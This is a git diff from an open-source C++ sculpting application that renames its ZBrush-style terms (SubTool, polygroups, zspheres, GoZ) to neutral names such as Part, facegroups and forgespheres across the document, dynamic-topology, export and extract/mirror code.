- subtools.back().name = name.empty() ? "Sculpt" : std::move(name);
- activeSubtool = 0;
+ parts.clear();
+ parts.emplace_back();
+ parts.back().id = nextPartId_++;
+ parts.back().name = name.empty() ? "Sculpt" : std::move(name);
+ activePart = 0;
extractPreview = {};
markClean();
}
bool Document::dirty() const {
if (modified || undo.revision() != cleanRevision_ || splatsVersion != cleanSplatsVersion_) return true;
- for (int i = 0; i < subtoolCount(); ++i)
- if (i != activeSubtool && subtools[size_t(i)].undo.revision() != subtools[size_t(i)].cleanRevision) return true;
+ for (int i = 0; i < partCount(); ++i)
+ if (i != activePart && parts[size_t(i)].undo.revision() != parts[size_t(i)].cleanRevision) return true;
return false;
}
@@ -47,46 +47,46 @@ void Document::markClean() {
modified = false;
cleanRevision_ = undo.revision();
cleanSplatsVersion_ = splatsVersion;
- for (int i = 0; i < subtoolCount(); ++i)
- if (i != activeSubtool) subtools[size_t(i)].cleanRevision = subtools[size_t(i)].undo.revision();
+ for (int i = 0; i < partCount(); ++i)
+ if (i != activePart) parts[size_t(i)].cleanRevision = parts[size_t(i)].undo.revision();
}
-void Document::selectSubtool(int i) {
- if (i < 0 || i >= subtoolCount() || i == activeSubtool) return;
+void Document::selectPart(int i) {
+ if (i < 0 || i >= partCount() || i == activePart) return;
uvSelection.clear();
- // Check the active SubTool back in, then check `i` out. Swapping keeps each
+ // Check the active Part back in, then check `i` out. Swapping keeps each
// mesh's GPU dirty state, so the renderer doesn't re-upload anything.
- auto swapIn = [this](SubTool& s) {
+ auto swapIn = [this](Part& s) {
std::swap(mesh, s.mesh);
std::swap(bvh, s.bvh);
std::swap(undo, s.undo);
std::swap(activeLayer, s.activeLayer);
- std::swap(gozName, s.gozName);
+ std::swap(bridgeName, s.bridgeName);
std::swap(qremeshGuides, s.qremeshGuides);
std::swap(bvhDirty, s.bvhDirty);
std::swap(cleanRevision_, s.cleanRevision);
};
- swapIn(subtools[size_t(activeSubtool)]);
- subdivReleaseCache(subtools[size_t(activeSubtool)].mesh); // only the active SubTool keeps cached levels
- activeSubtool = i;
- swapIn(subtools[size_t(i)]);
+ swapIn(parts[size_t(activePart)]);
+ subdivReleaseCache(parts[size_t(activePart)].mesh); // only the active Part keeps cached levels
+ activePart = i;
+ swapIn(parts[size_t(i)]);
if (bvh.nodeCount() == 0 && mesh.triangleCount()) bvhDirty = true; // built on first use
syncBvh();
}
-int Document::addSubtool(Mesh m, std::string name, bool select, int at, BVH* built) {
- SubTool s;
- s.id = nextSubtoolId_++;
- s.name = uniqueSubtoolName(name.empty() ? "Part" : name);
+int Document::addPart(Mesh m, std::string name, bool select, int at, BVH* built) {
+ Part s;
+ s.id = nextPartId_++;
+ s.name = uniquePartName(name.empty() ? "Part" : name);
s.mesh = std::move(m);
s.mesh.topologyDirty = true;
if (built) s.bvh = std::move(*built);
else s.bvh.build(s.mesh);
- const int index = at < 0 || at > subtoolCount() ? subtoolCount() : at;
- subtools.insert(subtools.begin() + index, std::move(s));
- if (index <= activeSubtool) ++activeSubtool;
+ const int index = at < 0 || at > partCount() ? partCount() : at;
+ parts.insert(parts.begin() + index, std::move(s));
+ if (index <= activePart) ++activePart;
modified = true;
- if (select) selectSubtool(index);
+ if (select) selectPart(index);
return index;
}
@@ -101,82 +101,82 @@ void Document::replaceActiveMesh(Mesh m) {
modified = true;
}
-bool Document::removeSubtool(int i) {
- if (subtoolCount() <= 1 || i < 0 || i >= subtoolCount()) return false;
- if (i == activeSubtool) selectSubtool(i + 1 < subtoolCount() ? i + 1 : i - 1);
- subtools.erase(subtools.begin() + i);
- if (activeSubtool > i) --activeSubtool;
+bool Document::removePart(int i) {
+ if (partCount() <= 1 || i < 0 || i >= partCount()) return false;
+ if (i == activePart) selectPart(i + 1 < partCount() ? i + 1 : i - 1);
+ parts.erase(parts.begin() + i);
+ if (activePart > i) --activePart;
modified = true;
return true;
}
-void Document::moveSubtool(int i, int direction) {
+void Document::movePart(int i, int direction) {
const int j = i + (direction < 0 ? -1 : 1);
- if (i < 0 || j < 0 || i >= subtoolCount() || j >= subtoolCount()) return;
- std::swap(subtools[size_t(i)], subtools[size_t(j)]);
- if (activeSubtool == i) activeSubtool = j;
- else if (activeSubtool == j) activeSubtool = i;
+ if (i < 0 || j < 0 || i >= partCount() || j >= partCount()) return;
+ std::swap(parts[size_t(i)], parts[size_t(j)]);
+ if (activePart == i) activePart = j;
+ else if (activePart == j) activePart = i;
modified = true;
}
-int Document::subtoolIndex(uint32_t id) const {
- for (int i = 0; i < subtoolCount(); ++i)
- if (subtools[size_t(i)].id == id) return i;
+int Document::partIndex(uint32_t id) const {
+ for (int i = 0; i < partCount(); ++i)
+ if (parts[size_t(i)].id == id) return i;
return -1;
}
-bool Document::applySubtoolStep(SubtoolStep& step) {
+bool Document::applyPartStep(PartStep& step) {
if (step.stashed) { // redo: put it back where it was
- const int at = std::clamp(step.at, 0, subtoolCount());
- subtools.insert(subtools.begin() + at, std::move(*step.stashed));
+ const int at = std::clamp(step.at, 0, partCount());
+ parts.insert(parts.begin() + at, std::move(*step.stashed));
step.stashed.reset();
- if (at <= activeSubtool) ++activeSubtool;
- subtools[size_t(at)].mesh.topologyDirty = true;
+ if (at <= activePart) ++activePart;
+ parts[size_t(at)].mesh.topologyDirty = true;
modified = true;
return true;
}
- const int i = subtoolIndex(step.id);
- if (i < 0 || i == activeSubtool || subtoolCount() <= 1) return false;
+ const int i = partIndex(step.id);
+ if (i < 0 || i == activePart || partCount() <= 1) return false;
step.at = i;
- step.stashed = std::make_unique<SubTool>(std::move(subtools[size_t(i)]));
- subtools.erase(subtools.begin() + i);
- if (activeSubtool > i) --activeSubtool;
+ step.stashed = std::make_unique<Part>(std::move(parts[size_t(i)]));
+ parts.erase(parts.begin() + i);
+ if (activePart > i) --activePart;
modified = true;
return true;
}
bool Document::extractPreviewCurrent() const {
if (!extractPreview.id) return false;
- const int i = subtoolIndex(extractPreview.id);
- return i >= 0 && i != activeSubtool && activeSubtoolInfo().id == extractPreview.source &&
+ const int i = partIndex(extractPreview.id);
+ return i >= 0 && i != activePart && activePartInfo().id == extractPreview.source &&
undo.revision() == extractPreview.revision;
}
void Document::dropExtractPreview(bool staleOnly) {
if (!extractPreview.id || (staleOnly && extractPreviewCurrent())) return;
- const int i = subtoolIndex(extractPreview.id);
+ const int i = partIndex(extractPreview.id);
extractPreview = {};
- if (i >= 0) removeSubtool(i);
+ if (i >= 0) removePart(i);
}
-int Document::findSubtool(const std::string& name) const {
- for (int i = 0; i < subtoolCount(); ++i)
- if (subtools[size_t(i)].name == name) return i;
+int Document::findPart(const std::string& name) const {
+ for (int i = 0; i < partCount(); ++i)
+ if (parts[size_t(i)].name == name) return i;
return -1;
}
-std::string Document::uniqueSubtoolName(const std::string& wanted) const {
- if (findSubtool(wanted) < 0) return wanted;
+std::string Document::uniquePartName(const std::string& wanted) const {
+ if (findPart(wanted) < 0) return wanted;
for (int n = 2;; ++n) {
std::string candidate = wanted + " " + std::to_string(n);
- if (findSubtool(candidate) < 0) return candidate;
+ if (findPart(candidate) < 0) return candidate;
}
}
AABB Document::visibleBounds() const {
AABB b;
- for (int i = 0; i < subtoolCount(); ++i)
- if (subtools[size_t(i)].visible && subtoolMesh(i).vertexCount()) b.expand(subtoolMesh(i).bounds());
+ for (int i = 0; i < partCount(); ++i)
+ if (parts[size_t(i)].visible && partMesh(i).vertexCount()) b.expand(partMesh(i).bounds());
return b;
}
diff --git a/src/core/Document.h b/src/core/Document.h
index 374b3f62..bc85db1d 100644
--- a/src/core/Document.h
+++ b/src/core/Document.h
@@ -21,43 +21,43 @@
namespace sf {
-// How a SubTool is shaded in the view: as the scene says (the Material palette's Flat shading), or always smooth
+// How a Part is shaded in the view: as the scene says (the Material palette's Flat shading), or always smooth
// or always flat (faceted: every polygon's own face normal). Display only; saved in projects.
enum class Shading : uint8_t { Default, Smooth, Flat };
const char* shadingName(Shading s); // "default", "smooth", "flat"
bool parseShading(const std::string& name, Shading& out);
-// One object in the scene, like a ZBrush SubTool: a body, the eyes, the
+// One object in the scene, like a classic Part: a body, the eyes, the
// teeth, a sword. Each keeps its own mesh, attributes, layers and undo
-// history. The active SubTool is "checked out" into Document::mesh / bvh /
+// history. The active Part is "checked out" into Document::mesh / bvh /
// undo, so every tool and command keeps working on the active one; its slot
-// here holds only the name and flags until another SubTool is selected.
-struct SubTool {
+// here holds only the name and flags until another Part is selected.
+struct Part {
uint32_t id = 0; // stable for the session (renderer slots, UI selection)
std::string name;
bool visible = true;
- Shading shading = Shading::Default; // per-SubTool override of the scene's shading
- // Inactive SubTools only (empty while active).
+ Shading shading = Shading::Default; // per-Part override of the scene's shading
+ // Inactive Parts only (empty while active).
Mesh mesh;
BVH bvh;
UndoStack undo;
int activeLayer = -1;
- std::string gozName;
+ std::string bridgeName;
bool bvhDirty = false;
uint64_t cleanRevision = 0;
std::vector<QRemeshGuide> qremeshGuides; // QRemesh Guides (core/QRemeshGuides.h)
};
-// An undo step that added SubTool `id` at list position `at` (UndoRecord::subtool): `stashed` holds the SubTool
+// An undo step that added Part `id` at list position `at` (UndoRecord::part): `stashed` holds the Part
// while it's undone.
-struct SubtoolStep {
+struct PartStep {
uint32_t id = 0;
int at = 0;
- std::unique_ptr<SubTool> stashed;
+ std::unique_ptr<Part> stashed;
};
-// Extract's preview (core/ExtractMirror.h): SubTool `id`, made from the mask of SubTool `source` as it was at
-// that SubTool's undo revision `revision`, shown until Accept turns it into an undoable step. id 0 = none.
+// Extract's preview (core/ExtractMirror.h): Part `id`, made from the mask of Part `source` as it was at
+// that Part's undo revision `revision`, shown until Accept turns it into an undoable step. id 0 = none.
struct ExtractPreview {
uint32_t id = 0, source = 0;
uint64_t revision = 0;
@@ -67,7 +67,7 @@ struct ExtractPreview {
// structure and edit history. UI-independent so it can be driven by tests,
// scripts or an AI assistant through the command registry.
struct Document {
- // The active SubTool's working data (see SubTool).
+ // The active Part's working data (see Part).
Mesh mesh;
BVH bvh;
UndoStack undo;
@@ -80,7 +80,7 @@ struct Document {
std::vector<BrushRecipe> brushes = builtinBrushRecipes();
int activeBrush = -1; // index into `brushes`, -1 = use a built-in brush type
BrushAlpha brushAlpha; // stamp shaping every brush's falloff (empty = round); brush_set_alpha
- glm::vec3 paintColor{0.22f, 0.22f, 0.22f}; // current polypaint colour (linear RGB; see set_color); a mid grey
+ glm::vec3 paintColor{0.22f, 0.22f, 0.22f}; // current vertex paint colour (linear RGB; see set_color); a mid grey
// Material texture painting (core/TextureChannels.h): what the Paint brush lays on the material channels
// (paint_material; its colour is paintColor), and the channel the view shows on its own (channel_view).
BrushMaterial paintMaterial;
@@ -98,12 +98,12 @@ struct Document {
uint64_t splatsVersion = 0; // bump after editing `splats` so views re-upload
void splatsChanged() { ++splatsVersion; }
bool bvhDirty = false; // set after whole-mesh deformations (e.g. layer weights)
- // SubTool name of a mesh that came from ZBrush (GoZ), so sending it back updates that SubTool.
- std::string gozName;
- // QRemesh Guides of the active SubTool: curves QRemesh's edge loops follow (core/QRemeshGuides.h). Not part
+ // Part name of a mesh that came (Bridge), so sending it back updates that Part.
+ std::string bridgeName;
+ // QRemesh Guides of the active Part: curves QRemesh's edge loops follow (core/QRemeshGuides.h). Not part
// of undo (Delete Last / Clear remove them); editing them sets `modified`.
std::vector<QRemeshGuide> qremeshGuides;
- // The UV Editor's selection on the active SubTool (core/Uv.h); dropped when another SubTool is picked or the
+ // The UV Editor's selection on the active Part (core/Uv.h); dropped when another Part is picked or the
// triangles change (UvSelection::valid). Not part of undo.
UvSelection uvSelection;
@@ -118,60 +118,60 @@ struct Document {
// the app fills it before saving and applies it after opening; the core
// keeps it as loaded so CLI and scripts round-trip it unchanged.
Json projectSettings = Json::object();
- // Files the app keeps inside the project (the custom MatCap the view uses: "matcaps/<name>.png"), by name.
+ // Files the app keeps inside the project (the custom Lit Sphere the view uses: "lit spheres/<name>.png"), by name.
// Saved under attachments/ and loaded back as they were; names are letters, digits, space . _ - and '/'.
std::map<std::string, std::vector<uint8_t>> projectFiles;
- // Unsaved changes: any undoable edit (in any SubTool), splat edit or
+ // Unsaved changes: any undoable edit (in any Part), splat edit or
// `modified` since the last markClean() (save, open, new scene).
bool dirty() const;
void markClean();
- // --- SubTools. There is always at least one; `subtools[activeSubtool]` is the
+ // --- Parts. There is always at least one; `parts[activePart]` is the
// active one (its data lives in mesh / bvh / undo above). Adding, removing,
- // reordering and merging SubTools is not undoable (as in ZBrush); it sets
+ // reordering and merging Parts is not undoable; it sets
// `modified`.
- std::vector<SubTool> subtools; // one "Sculpt" SubTool to start with
+ std::vector<Part> parts; // one "Sculpt" Part to start with
Document();
- int activeSubtool = 0;
- int subtoolCount() const { return int(subtools.size()); }
- SubTool& activeSubtoolInfo() { return subtools[size_t(activeSubtool)]; }
- const SubTool& activeSubtoolInfo() const { return subtools[size_t(activeSubtool)]; }
- // The mesh of SubTool `i`, active or not.
- Mesh& subtoolMesh(int i) { return i == activeSubtool ? mesh : subtools[size_t(i)].mesh; }
- const Mesh& subtoolMesh(int i) const { return i == activeSubtool ? mesh : subtools[size_t(i)].mesh; }
- // Makes SubTool `i` the one tools and commands edit.
- void selectSubtool(int i);
- // Inserts a SubTool at `at` (-1 = end of the list), made active when `select`; returns its index. `built`:
+ int activePart = 0;
+ int partCount() const { return int(parts.size()); }
+ Part& activePartInfo() { return parts[size_t(activePart)]; }
+ const Part& activePartInfo() const { return parts[size_t(activePart)]; }
+ // The mesh of Part `i`, active or not.
+ Mesh& partMesh(int i) { return i == activePart ? mesh : parts[size_t(i)].mesh; }
+ const Mesh& partMesh(int i) const { return i == activePart ? mesh : parts[size_t(i)].mesh; }
+ // Makes Part `i` the one tools and commands edit.
+ void selectPart(int i);
+ // Inserts a Part at `at` (-1 = end of the list), made active when `select`; returns its index. `built`:
// the mesh's BVH, built already (moved from; null = built here).
- int addSubtool(Mesh m, std::string name, bool select = true, int at = -1, BVH* built = nullptr);
- // Replaces the active SubTool's mesh outside undo (its history is cleared), e.g. after a merge.
+ int addPart(Mesh m, std::string name, bool select = true, int at = -1, BVH* built = nullptr);
+ // Replaces the active Part's mesh outside undo (its history is cleared), e.g. after a merge.
void replaceActiveMesh(Mesh m);
- // Removes SubTool `i` (never the last one); the active one moves to a neighbour if needed.
- bool removeSubtool(int i);
- // Moves SubTool `i` one place up (-1) or down (+1) in the list.
- void moveSubtool(int i, int direction);
- // Index of the SubTool called `name` (exact match, first one), or -1.
- int findSubtool(const std::string& name) const;
- // Index of the SubTool with this id, or -1.
- int subtoolIndex(uint32_t id) const;
- // Undoes or redoes a SubtoolStep: takes the SubTool out of the list into the step, or puts it back. False
- // when there was nothing to do (the SubTool was deleted since, or it's the active or the last one).
- bool applySubtoolStep(SubtoolStep& step);
+ // Removes Part `i` (never the last one); the active one moves to a neighbour if needed.
+ bool removePart(int i);
+ // Moves Part `i` one place up (-1) or down (+1) in the list.
+ void movePart(int i, int direction);
+ // Index of the Part called `name` (exact match, first one), or -1.
+ int findPart(const std::string& name) const;
+ // Index of the Part with this id, or -1.
+ int partIndex(uint32_t id) const;
+ // Undoes or redoes a PartStep: takes the Part out of the list into the step, or puts it back. False
+ // when there was nothing to do (the Part was deleted since, or it's the active or the last one).
+ bool applyPartStep(PartStep& step);
// The Extract preview waiting for Accept, if any (see ExtractPreview).
ExtractPreview extractPreview;
- // True while the preview SubTool exists, its source is active and unchanged since.
+ // True while the preview Part exists, its source is active and unchanged since.
bool extractPreviewCurrent() const;
- // Removes the preview SubTool (if any); `staleOnly`: only when it's no longer current.
+ // Removes the preview Part (if any); `staleOnly`: only when it's no longer current.
void dropExtractPreview(bool staleOnly = false);
- // A name not used by any SubTool yet ("Eye", "Eye 2", ...).
- std::string uniqueSubtoolName(const std::string& wanted) const;
- // Bounds of every visible SubTool.
+ // A name not used by any Part yet ("Eye", "Eye 2", ...).
+ std::string uniquePartName(const std::string& wanted) const;
+ // Bounds of every visible Part.
AABB visibleBounds() const;
- // Replaces the whole scene with one SubTool holding `m` and clears the edit history (`built`: as addSubtool).
+ // Replaces the whole scene with one Part holding `m` and clears the edit history (`built`: as addPart).
void setMesh(Mesh m, std::string name = "Sculpt", BVH* built = nullptr);
// Replaces the mesh as an undoable topology change. A result without the old mesh's subdivision levels (a
// remesh, decimate, ...) leaves a `notice` saying the levels were removed; undo brings them back.
@@ -184,7 +184,7 @@ struct Document {
private:
uint64_t cleanRevision_ = 0, cleanSplatsVersion_ = 0;
- uint32_t nextSubtoolId_ = 2;
+ uint32_t nextPartId_ = 2;
};
} // namespace sf
diff --git a/src/core/Dyntopo.cpp b/src/core/Dyntopo.cpp
index 5e9baab6..d06ed2f6 100644
--- a/src/core/Dyntopo.cpp
+++ b/src/core/Dyntopo.cpp
@@ -34,7 +34,7 @@ void zipVertexArrays(Mesh& m, TopologyVertexValues& v, F&& f) {
template <class F>
void zipTriangleArrays(Mesh& m, TopologyTriangleValues& t, F&& f) {
f(m.triangles, t.triangles);
- f(m.polygroups, t.polygroups);
+ f(m.facegroups, t.facegroups);
f(m.quadPartners, t.quadPartners);
f(m.hidden, t.hidden);
}
@@ -58,7 +58,7 @@ void forVertexArrays(Mesh& m, F&& f) {
template <class F>
void forTriangleArrays(Mesh& m, F&& f) {
f(m.triangles);
- f(m.polygroups);
+ f(m.facegroups);
f(m.quadPartners);
f(m.hidden);
}
@@ -123,7 +123,7 @@ size_t TopologyVertexValues::bytes() const {
}
size_t TopologyTriangleValues::bytes() const {
- return bytesOf(triangles) + bytesOf(polygroups) + bytesOf(quadPartners) + bytesOf(hidden);
+ return bytesOf(triangles) + bytesOf(facegroups) + bytesOf(quadPartners) + bytesOf(hidden);
}
size_t TopologyUndo::bytes() const {
@@ -275,7 +275,7 @@ uint32_t DynamicTopology::newTriangle(const glm::uvec3& tri, uint32_t like) {
}
recordTriangle(t);
m.triangles[t] = tri;
- if (!m.polygroups.empty()) m.polygroups[t] = m.polygroups[like];
+ if (!m.facegroups.empty()) m.facegroups[t] = m.facegroups[like];
if (!m.hidden.empty()) m.hidden[t] = m.hidden[like];
if (!m.quadPartners.empty()) m.quadPartners[t] = Mesh::kNoQuad;
for (int c = 0; c < 3; ++c) {
@@ -539,12 +539,12 @@ bool DynamicTopology::planeVertex(uint32_t v) const {
return false;
}
-// Boundary, polygroup border, non-manifold, or lying in a symmetry plane.
+// Boundary, face group border, non-manifold, or lying in a symmetry plane.
bool DynamicTopology::featureEdge(uint32_t a, uint32_t b) const {
uint32_t tris[4];
const int n = edgeTriangles(a, b, tris);
if (n != 2) return true;
- if (mesh_->polygroupAt(tris[0]) != mesh_->polygroupAt(tris[1])) return true;
+ if (mesh_->facegroupAt(tris[0]) != mesh_->facegroupAt(tris[1])) return true;
for (size_t k = 0; k < mirrorMaps_.size(); ++k)
if (mirrorOf(k, a) == a && mirrorOf(k, b) == b) return true;
return false;
diff --git a/src/core/Dyntopo.h b/src/core/Dyntopo.h
index 030782d3..d5cc5ff6 100644
--- a/src/core/Dyntopo.h
+++ b/src/core/Dyntopo.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Dynamic topology (ZBrush's Sculptris Pro, Blender's Dyntopo): with it on, every brush dab first remeshes the
+// Dynamic topology (dynamic topology, Blender's Dyntopo): with it on, every brush dab first remeshes the
// surface under the brush towards one edge length, so a sphere can be pulled into horns or fingers without
// stretching its triangles, and a blockout needs no remeshing.
//
@@ -9,12 +9,12 @@
// (longest first), edges shorter than 3/5 of it are collapsed (shortest first, where that keeps the surface
// manifold, turns no triangle over, makes no long edge and leaves no vertex with fewer than three neighbours),
// edges are flipped where that evens out the valences, and the vertices that changed are relaxed along the
-// surface. Boundaries, polygroup borders and the symmetry plane are kept: their vertices only slide along them.
+// surface. Boundaries, face group borders and the symmetry plane are kept: their vertices only slide along them.
// Masked and hidden parts are left alone. With symmetry on, every operation is done on its mirror images at the
// same time, so mirrored dabs make mirrored topology.
//
// Quads under the brush become triangles; UVs are dropped (a remeshed surface has none) and come back on undo.
-// Meshes with subdivision levels can't be remeshed (as in ZBrush, delete the levels first).
+// Meshes with subdivision levels can't be remeshed (as , delete the levels first).
//
// The mesh stays valid after every dab (no dead entries): elements a dab removed are filled from the end of
// the arrays. The BVH and the renderer follow incrementally (BVH::insertTriangle..., Mesh::changedTriangles), and
@@ -39,7 +39,7 @@ namespace sf {
struct DyntopoSettings {
bool enabled = false;
- // false: the detail follows the brush size (Sculptris Pro: zoom in or shrink the brush for finer triangles);
+ // false: the detail follows the brush size (dynamic topology: zoom in or shrink the brush for finer triangles);
// true: one detail size for the whole mesh, relative to its size.
bool constantDetail = false;
float detail = 0.5f; // 0 (coarse) .. 1 (fine)
@@ -76,7 +76,7 @@ struct TopologyVertexValues {
};
struct TopologyTriangleValues {
std::vector<glm::uvec3> triangles;
- std::vector<uint32_t> polygroups, quadPartners;
+ std::vector<uint32_t> facegroups, quadPartners;
std::vector<uint8_t> hidden;
size_t bytes() const;
};
diff --git a/src/core/EnginePresets.cpp b/src/core/EnginePresets.cpp
index 1ab71d9c..feb31670 100644
--- a/src/core/EnginePresets.cpp
+++ b/src/core/EnginePresets.cpp
@@ -3,7 +3,7 @@
#include "core/EnginePresets.h"
#include "core/Decimate.h"
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include "io/FbxIO.h"
#include <algorithm>
@@ -24,13 +24,13 @@ std::string unrealName(const std::string& text) {
} // namespace
bool exportForUnreal(const Document& doc, const UnrealExportOptions& o, UnrealExportResult& r, std::string& error) {
- const std::vector<MeshObjectRef> objects = visibleSubtoolObjects(doc);
+ const std::vector<MeshObjectRef> objects = visiblePartObjects(doc);
if (objects.empty()) {
error = "The mesh is empty";
return false;
}
// Morph targets only exist on skeletal meshes in Unreal; a skeletal mesh can't use an FBX LOD group
- // the same way, so layered sculpts (any visible SubTool with layers) export LOD0 only.
+ // the same way, so layered sculpts (any visible Part with layers) export LOD0 only.
r.skeletal = false;
AABB bounds;
for (const auto& obj : objects) {
@@ -41,8 +41,8 @@ bool exportForUnreal(const Document& doc, const UnrealExportOptions& o, UnrealEx
const float height = bounds.extent().y;
r.scale = o.heightCm > 0.0f && height > 0.0f ? o.heightCm / height : 100.0f;
- // Every visible SubTool is its own FBX model (Unreal: one material section each with "Combine Meshes",
- // or one asset each without). Static meshes get a LOD group per SubTool, each decimated on its own, so
+ // Every visible Part is its own FBX model (Unreal: one material section each with "Combine Meshes",
+ // or one asset each without). Static meshes get a LOD group per Part, each decimated on its own, so
// small parts (eyes, teeth) keep their share of triangles; Unreal's combined import gathers level n of
// every group into its LOD n.
std::vector<std::vector<Mesh>> lods(objects.size());
diff --git a/src/core/ExtractMirror.cpp b/src/core/ExtractMirror.cpp
index be2ab260..902a8bee 100644
--- a/src/core/ExtractMirror.cpp
+++ b/src/core/ExtractMirror.cpp
@@ -68,7 +68,7 @@ bool parseAxes(const std::string& text, std::vector<int>& axes) {
Mesh extractShell(const Mesh& mesh, const ExtractOptions& o, std::string& error) {
const size_t nv = mesh.vertexCount(), nt = mesh.triangleCount();
- if (!mesh.zspheres.empty()) {
+ if (!mesh.forgespheres.empty()) {
error = "Extract works on meshes; make the Forge Spheres a mesh first";
return {};
}
@@ -148,11 +148,11 @@ Mesh extractShell(const Mesh& mesh, const ExtractOptions& o, std::string& error)
for (uint32_t v : kept) out.colors.push_back(mesh.colors[v]);
}
out.triangles = tris;
- out.polygroups.assign(tris.size(), 1u);
+ out.facegroups.assign(tris.size(), 1u);
if (!single) {
// The inner surface faces the other way; the rim joins the two along the patch's edge, one quad per edge.
for (const glm::uvec3& c : tris) out.triangles.push_back(glm::uvec3(c.x + np, c.z + np, c.y + np));
- out.polygroups.resize(out.triangles.size(), 2u);
+ out.facegroups.resize(out.triangles.size(), 2u);
// TCorne: where the edge turns sharply (over 50 degrees) the rim keeps triangles; TBorder: all along it.
std::vector<uint8_t> corner(o.triangleCorners && !o.triangleBorder ? np : 0, 0);
if (!corner.empty()) {
@@ -175,8 +175,8 @@ Mesh extractShell(const Mesh& mesh, const ExtractOptions& o, std::string& error)
const uint32_t first = uint32_t(out.triangles.size());
out.triangles.push_back(glm::uvec3(v, u, u + np));
out.triangles.push_back(glm::uvec3(v, u + np, v + np));
- out.polygroups.push_back(3u);
- out.polygroups.push_back(3u);
+ out.facegroups.push_back(3u);
+ out.facegroups.push_back(3u);
if (!o.triangleBorder && (corner.empty() || (!corner[u] && !corner[v]))) out.pairQuad(first, first + 1);
}
}
@@ -351,7 +351,7 @@ Mesh mirrorAndWeld(const Mesh& mesh, int axis, bool keepPositive, std::string& e
std::vector<uint32_t> mirrored(half.size(), kNone);
auto addTriangle = [&](const glm::uvec3& v, uint32_t source, const std::array<glm::vec2, 3>& uv) {
out.triangles.push_back(v);
- if (mesh.hasPolygroups()) out.polygroups.push_back(mesh.polygroups[source]);
+ if (mesh.hasFaceGroups()) out.facegroups.push_back(mesh.facegroups[source]);
if (mesh.hasHidden()) out.hidden.push_back(mesh.hidden[source]);
if (uvs) out.uvs.insert(out.uvs.end(), uv.begin(), uv.end());
};
@@ -384,7 +384,7 @@ Mesh mirrorFlip(const Mesh& mesh, int axis, float pivot) {
for (auto& p : out.base) p[axis] = 2.0f * pivot - p[axis];
for (auto& l : out.layers)
for (auto& v : l.delta) v[axis] = -v[axis];
- for (auto& z : out.zspheres) z.center[axis] = 2.0f * pivot - z.center[axis];
+ for (auto& z : out.forgespheres) z.center[axis] = 2.0f * pivot - z.center[axis];
for (auto& t : out.triangles) std::swap(t.y, t.z);
for (size_t t = 0; t * 3 + 2 < out.uvs.size(); ++t) std::swap(out.uvs[3 * t + 1], out.uvs[3 * t + 2]);
out.rebuildTopology();
@@ -403,16 +403,16 @@ CommandResult acceptPreview(Document& doc) {
doc.dropExtractPreview();
return {false, "Nothing to accept: press Extract first"};
}
- const int i = doc.subtoolIndex(doc.extractPreview.id);
+ const int i = doc.partIndex(doc.extractPreview.id);
UndoRecord r;
r.label = "Extract";
- r.subtool = std::make_shared<SubtoolStep>();
- r.subtool->id = doc.extractPreview.id;
- r.subtool->at = i;
+ r.part = std::make_shared<PartStep>();
+ r.part->id = doc.extractPreview.id;
+ r.part->at = i;
doc.undo.push(std::move(r));
doc.extractPreview = {};
doc.modified = true;
- return {true, "Extracted " + doc.subtools[size_t(i)].name + " (" + triangles(doc.subtoolMesh(i).triangleCount()) + ")"};
+ return {true, "Extracted " + doc.parts[size_t(i)].name + " (" + triangles(doc.partMesh(i).triangleCount()) + ")"};
}
CommandResult runExtract(Document& doc, const Args& a) {
@@ -431,14 +431,14 @@ CommandResult runExtract(Document& doc, const Args& a) {
const size_t tris = shell.triangleCount();
doc.dropExtractPreview(true);
if (doc.extractPreview.id) { // Extract again (other settings): the preview is replaced
- SubTool& s = doc.subtools[size_t(doc.subtoolIndex(doc.extractPreview.id))];
+ Part& s = doc.parts[size_t(doc.partIndex(doc.extractPreview.id))];
s.mesh = std::move(shell);
s.mesh.topologyDirty = true;
s.bvh.build(s.mesh);
s.bvhDirty = false;
} else {
- const int i = doc.addSubtool(std::move(shell), "Extract", false, doc.activeSubtool + 1);
- doc.extractPreview = {doc.subtools[size_t(i)].id, doc.activeSubtoolInfo().id, doc.undo.revision()};
+ const int i = doc.addPart(std::move(shell), "Extract", false, doc.activePart + 1);
+ doc.extractPreview = {doc.parts[size_t(i)].id, doc.activePartInfo().id, doc.undo.revision()};
}
if (argBool(a, "accept", false)) return acceptPreview(doc);
return {true, "Extract preview (" + triangles(tris) + "): Accept keeps it as a new Part"};
@@ -483,7 +483,7 @@ void registerExtractMirrorCommands(CommandRegistry& reg) {
const bool positive = side == "positive" || side == "+" || side == "pos";
if (!positive && side != "negative" && side != "-" && side != "neg")
return {false, "Bad side '" + side + "' (positive or negative)"};
- if (!doc.mesh.zspheres.empty()) return {false, "Mirror And Weld works on meshes; make the Forge Spheres a mesh first"};
+ if (!doc.mesh.forgespheres.empty()) return {false, "Mirror And Weld works on meshes; make the Forge Spheres a mesh first"};
if (doc.mesh.triangleCount() == 0) return {false, "The Part is empty"};
const size_t before = doc.mesh.triangleCount();
Mesh m = doc.mesh;
diff --git a/src/core/ExtractMirror.h b/src/core/ExtractMirror.h
index 2653826d..4639dd10 100644
--- a/src/core/ExtractMirror.h
+++ b/src/core/ExtractMirror.h
@@ -1,16 +1,16 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Two ZBrush mesh tools:
-// - Extract (Tool > SubTool > Extract): the masked part of a SubTool becomes a new SubTool, a shell with a
+// Two classic mesh tools:
+// - Extract (Tool > Part > Extract): the masked part of a Part becomes a new Part, a shell with a
// thickness (a helmet, a strap, a piece of clothing). Extract shows it as a preview; Accept keeps it as an
-// undoable step. Thick is a fraction of the SubTool's size (negative = inward), E Smt smooths the jagged edge
+// undoable step. Thick is a fraction of the Part's size (negative = inward), E Smt smooths the jagged edge
// the mask's triangles leave, Double grows the shell both ways; Thick 0 gives a single-sided surface. The rim
// is quads, except at sharp corners with TCorne and all along it with TBorder.
// - Mirror And Weld (Tool > Geometry > Modify Topology): the half on the + side of a plane through the origin
// is kept and mirrored onto the - side, and the seam welded into one watertight mesh. Triangles crossing the
-// plane are cut on it; polygroups, polypaint, mask, UVs and sculpt layers are carried over.
-// - Mirror (Tool > Deformation): flips the SubTool across a plane (normals stay outward).
+// plane are cut on it; face groups, vertex paint, mask, UVs and sculpt layers are carried over.
+// - Mirror (Tool > Deformation): flips the Part across a plane (normals stay outward).
#pragma once
#include "core/Mesh.h"
@@ -22,7 +22,7 @@ namespace sf {
class CommandRegistry;
struct ExtractOptions {
